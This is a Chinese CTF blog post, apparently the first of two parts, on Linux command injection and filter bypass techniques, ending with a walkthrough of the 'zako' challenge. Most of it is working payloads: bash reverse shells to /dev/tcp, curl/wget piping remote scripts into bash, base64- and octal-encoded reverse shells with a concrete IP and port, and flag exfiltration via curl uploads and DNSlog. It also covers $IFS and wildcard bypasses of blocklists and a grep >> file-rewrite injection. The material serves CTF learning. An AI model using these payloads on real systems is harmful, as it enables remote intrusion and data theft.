由于篇幅有点长 字数有限制:(
分两篇发:
Linux命令执行
Linux内的bash有如下的特性:
linux中的单引号相当于原样输出
双引号将变量的值输出
反引号把变量当作命令执行
1 2 3 4 5 6 7
| root@VM-8-15-debian:~ root@VM-8-15-debian:~ $name root@VM-8-15-debian:~ whoami root@VM-8-15-debian:~ root
|
1 2 3 4 5 6 7 8 9 10 11 12
| 利用| || && & &!
cmd1|cmd2 无论cmd1是否为真,都会执行cmd2;同时上一个的输出作为下一个的输入,允许不接受输入的指令放在管道符后 例如 echo xxxx|base64 -d
cmd1||cmd2 cmd1为假时执行cmd2
cmd1&&cmd2 cmd1为真时才执行cmd2
cmd1&cmd2 并发执行,cmd1被挂起
cmd1&!cmd2 与上面类似
|
1 2 3 4 5 6 7 8 9 10 11 12
| 反引号: 执行反引号内执行的结果 例如 `echo 'whoami'`会返回root 仅支持单条指令,不可通过分号,换行执行多条
$(): 执行小括号内的结果 例如$(echo 'whoami')会返回root 同上 {}: 执行大括号内的结果 例如{cat,/flag}
|
反弹shell
1
| bash -i >& /dev/tcp/ip/port 0>&1
|
当然,更加稳定的:
1
| bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'
|
记得开启监听
1 2
| wget vps/bash |bash curl vps/bash|bash
|
记得开启http服务
nc反弹
利用ip转int绕过限制
无回显rce
1 2 3 4
| echo 'YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41Mi45NC4yMy8yMzMzIDA+JjE='|base64 -d|bash
或者 echo 'YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41Mi45NC4yMy8yMzMzIDA+JjE='|base64 -d|sh
|
可以写文件到新的文件并读取、改文件名、移动、压缩、甚至将flag外带、反弹shell等
或者利用tee
例如flag是以图片形式储存的:
1 2 3 4 5
| cat xxx.jpg | base64 > /tmp/xxx curl -F 'file=@/tmp/xxx' ip:port
vps: nc -lvvp port >./xxx
|
1
| `cat /flag|base64|sed s/[[:space:]]//`.xxx.dnslog.cn
|
利用sed将base64拼在dns域名
绕过
空格:
1 2 3 4 5 6 7 8
| $IFS ${IFS} $IFS$9 < <> %09 {dir,/} \x20
|
ctfshow web 118:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| | 指令 | 结果 | 解释 | | ${PWD} | /var/www/html | 表示当前所在的目录 如果是靶机的话一般是/var/www/html | | ${#PWD} | 13 | 返回当前目录的字符串长度 | | ${PWD:~3} | html | 代表从最后开始向前保留3(从0开始) | | ${PWD:3} | r/www/html | 从第三位开始截取到最后 | | ${PWD:3:1} | r | 从第三位开始截取长度为1的字符串 | | ${PWD:~A} | l | 作用同${PWD:~1},此时A相当于1,同理,B相当于2... | | ${SHLVL:~A} | 1 | 用于返回数字1 | | ${#SHLVL} | 1 | 用于返回数字1 | | ${#RANDOM} | 1-5中的随机一个数 | random返回0-32767,#random返回其长度 | | ${PATH} | n | 一般是指根目录下的bin目录 | | ${#TERM} | 14 | 返回xterm-256color的长度 | | ${##RANDOM} | 1 | 返回随机数的长度的长度,只能是1 | | ${#IFS} | 3 | IFS的长度当然是3 | | ${#?} | 3 | | | ${##} | 1 | | | ${HOME} | /root | | | $? | 0或1 | 上一条指令执行成功返回0,失败返回1 | | <A | 报错 | 配合$?返回1 |
|
| 指令 |
结果 |
解释 |
${PATH%/*} |
我的vps: a(见下文) |
%删除右边的字符,故%/*删除从右往左数第一个/及其右边的所有字符 |
${PATH##*/} |
我的vps: bin |
##删除左边的字符,故##*/代表删除从右往左数第一个及其左边的所有字符 |
${PATH:0-10} |
/sbin:/bin |
从右往左截取10个长度的字符,相当于${PATH:~9} |
${PATH:0-10:5} |
/sbin |
从右往左截取10个字符,并且从截取的10个字符中选取出前5个 |
${PATH%%n*} |
/usr/local/sbi |
%%删除右边的字符,但是%%n*是删除从左到右的第一个n及其之后的字符 |
${PATH#n*} |
b* |
#是删除左边的字符,但是#是删除从左往右第一个n左边的字符 |
非常重要:由于${PWD}返回的是当前的目录,所以利用cd ..一直返回上级目录即可获取到/
示例:
1 2 3 4 5
| $(cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;pwd;)
root@VM-8-15-debian:~# $(cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;pwd;) bash: /: Is a directory
|
1 2 3
| cat $(cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;echo $(pwd)flag)
相当于 cat /flag
|
a* : /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:
b*::/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
#与%%相对应,是从左往右开始截取第一个遇到的及其之前/之后的字符
%与##相对应,是从右往左开始截取第一个及其之后/之前遇到的字符
${PWD:~A}会返回l
${PATH:${~A}}会返回n
此时能组成nl:
${PATH:${~A}}${PWD:~A}${IFS}????.???
nl flag.php
/bin/base64 flag.php
1 2 3
| ${PWD::${#SHLVL}}会返回 '/' ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} 随机返回4 ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM}${IFS}????.???
|
/bin/rev flag.php
无长度限制:
1
| ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}${PWD:${#IFS}:${#SHLVL}}??
|
有长度限制,将#SHLVL换成##:
1
| ${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}??
|
利用报错构造1:
${HOME} => /root
1
| <A;${HOME::$?}???${HOME::$?}?????${#RANDOM}
|
cp source_filename target_filename,将源文件复制到目标文件内,前提是你可以访问到目标文件
1 2 3
| cp $(cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;echo $(pwd)flag) app.py
这里还能够将;换成其他分隔符,空格换成%09
|
1 2 3 4
| ca''t /fl''ag cat""t /fl""ag 反斜杠承接: ca\t /fl\ag
|
- 利用00:
1 2
| printf 'ca\x00t /etc/pass\x00wd' |bash printf 'ca\00t /etc/pass\00wd' |bash
|
并不适用于php,因为php的system会自动检测00
- 利用八进制等绕过一些限制
例如NewStarCTF的一道题的payload:
1 2
| printf "\142\141\163\150\40\55\151\76\46\57\144\145\166\57\164\143\160\57\61\60\66\56\65\62\56\71\64\56\62\63\57\62\63\63\63\40\60\76\46\61"|s\h
|
利用八进制printf格式化输出然后sh反弹shell
* :匹配全部,同时如果单独输入一个*则会获取ls的结果,然后将结果的第一个字符作为命令,其后作为参数执行
?:匹配单个字符
[a-z0-9]:匹配小写a-z,0-9
还能取反[^b-z]g匹配a
例如香山杯2023的一个题的读flag就是more /[b-z]1[Z-b][b-z]
{}:匹配大括号内的字符,例如cat /f{l,s,t}ag会匹配/flag、/fsag、/ftag,也可以在里面写..,{a..c}即匹配a-c
最常见的肯定是base64
1
| echo Y2F0IC9mbGFn|base64 -d|sh
|
十六进制:
利用xxd -r -p进行hexdecode:
1
| echo "636174202f666c6167" | xxd -r -p|bash
|
printf配合前面的:
1 2 3 4
| $(printf "\x6c\x73") //ls
八进制也是可以的: `printf "\143\141\164\40\57\52"`
|
一些读文件的函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| more: 一页一页查看
less
head
tac
tail
nl
od: 八进制输出(?)
vi
vim
sort
uniq
file -f: 报错出具体内容
rev: 反向输出
grep: grep { flag 寻找具有某种规则的文件并输出
diff: 比较文件内容
base64
strings
fmt
php
python: 利用python报错输出 //前提当然是有python
cut: cut -f1 /flag
curl file:///flag
iconv /flag
paste /flag
bzmore/bzless
|
- Tips:如果将环境变量设置修改为了没有
/bin的话,我们要执行命令需要添加/bin,如/bin/cat或者/bin/rev
例如putenv('PATH=/leran/linux/command');
将环境变量修改了,此时我们需要添加/bin
1 2 3
| dir vdir //相当于 ls -al,但是没有ls -al那样能看到隐藏文件 find
|
上文已经讲过escapeshellarg+escapeshellcmd+nmap的例子了
[nu1l junior] zako
这个题目感觉很有意思!
这边配置一下docker起一个环境给大家看看
这里怎么绕这个request就不再讲述了
这里问题在于中间怎么隐藏了一行东西,这里提示我们要绕一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php
$cmd = $_REQUEST["__secret.xswl.io"]; if (strlen($cmd) > 70) { die("no, > 70"); }
die("你就不能绕一下喵"); }
system("./execute.sh '".$cmd."'");
?>
|
这里可以直接查看execute.sh:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| #!/bin/bash
reject(){ echo ${1} exit 1 }
XXXCMD=$1
awk -v str="${XXXCMD}" \ 'BEGIN{ deny="`;&$(){}[]!@#$%^&*-"; for(i = 1; i <= length(str); i++){ char = substr(str, i, 1);
for(x = 1; x < length(deny)+1; x++){ r = substr(deny, x, 1); if(char == r) exit 1; } } }'
[ $? -ne 0 ] && reject "NOT ALLOW 1"
eval_cmd=`echo "${XXXCMD}" | awk -F "|" \ 'BEGIN{ allows[1] = "ls"; allows[2] = "makabaka"; allows[3] = "whoareu"; allows[4] = "cut~no"; allows[5] = "grep"; allows[6] = "wc"; allows[7] = "杂鱼❤~杂鱼❤~"; allows[8] = "netstat.jpg"; allows[9] = "awsl"; allows[10] = "dmesg"; allows[11] = "xswl"; }{ num=1; for(i=1; i<=NF; i++){ for(x=1; x<=length(allows); x++){ cmpstr = substr($i, 1, length(allows[x])); if(cmpstr == allows[x]) eval_cmd[num++] = $i; } } }END{ for(i=1; i<=length(eval_cmd); i++) { if(i!=1) printf "| %s", eval_cmd[i]; else printf "%s", eval_cmd[i]; } }'`
[ "${XXXCMD}" = "" ] && reject "NOT ALLOW 2"
eval ${eval_cmd}
|
这是一个bash脚本,简单看下吧,再仔细看我也看不懂
- reject大概就是一个拒绝的意思,说明这样不可以
- 这里有deny和allow,大概就是对应白名单和黑名单
- 然后检查一下你传进来的参数是否符合白名单和黑名单的要求,最后再eval执行
这里允许的命令只有:
禁止的黑名单有:
用ls看文件:
返回
当前目录只有这两个东西
ls /返回
1
| bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
|
ps: 这边原本是有个readflag的,为了方便我直接用flag了
那接下来的问题就是如何利用ls和grep获取到flag了
grep是可以读文件的
还有两个地方值得注意的:
- 这个源码缺了一部分,注释也在提示我们something hide here
- 仔细看system处执行的是将cmd直接拼接,如果利用
ls';any cmd就可以造成命令注入rce了
我们如何获得源码呢?
这个时候用grep读文件内容(题目也没限制空格):
发现die了一下
所以这里有过滤
检查一下,不是grep,不是空格
也没有问题,说明问题出现在index.php上
grep "" *有问题,试试问号
获得了index.php的真正源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php
highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight"));
$cmd = $_REQUEST["__secret.xswl.io"]; if (strlen($cmd) > 70) { die("no, > 70"); }
if (preg_match("/('|`|\n|\t|\\\$|~|@|#|;|&|\\||-|_|\\=|\\*|!|\\%|\\\^|index|execute')/is",$cmd)){ die("你就不能绕一下喵"); }
system("./execute.sh '".$cmd."'");
?>
|
原来这里利用的是highlight_string显示的源码
并且利用grep -v排除了preg_match和highlight这一行
所以导致我们看不出过滤
接下来就是重头戏了
我们这边有符号的双重过滤,能用的只有一个grep,一个ls,那要怎么办呢?
这边如果flag可以读的话,就直接出了:
但是实际题目中flag并不可读,而是需要执行/readflag
还记不记得grep跟cat差不多,而黑名单并没有ban掉>>
唯一能用的地方就只有index.php
如果我们能够将index.php变成这样就好了:
1 2 3 4 5
| <?php highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight"));
$cmd = $_REQUEST["__secret.xswl.io"]; system("./execute.sh '".$cmd."'");
|
此时利用>>就能做到
也就是说,利用grep我们重新将index.php复制到一个新的php去,然后只保留一下部分(因为grep是查找整行):
1 2 3 4
| grep "<?php" ?ndex.php >> 1.php grep "highlight" ?ndex.php >> 1.php grep "REQUEST" ?ndex.php >> 1.php grep "system" ?ndex.php >> 1.php
|
此时1.php就会变成这样:
这样我们的cmd就能够愉快的执行:
1 2
| ?_[secret.xswl.io=ls';/readflag;' ?_[secret.xswl.io=ls';cat /flag;'
|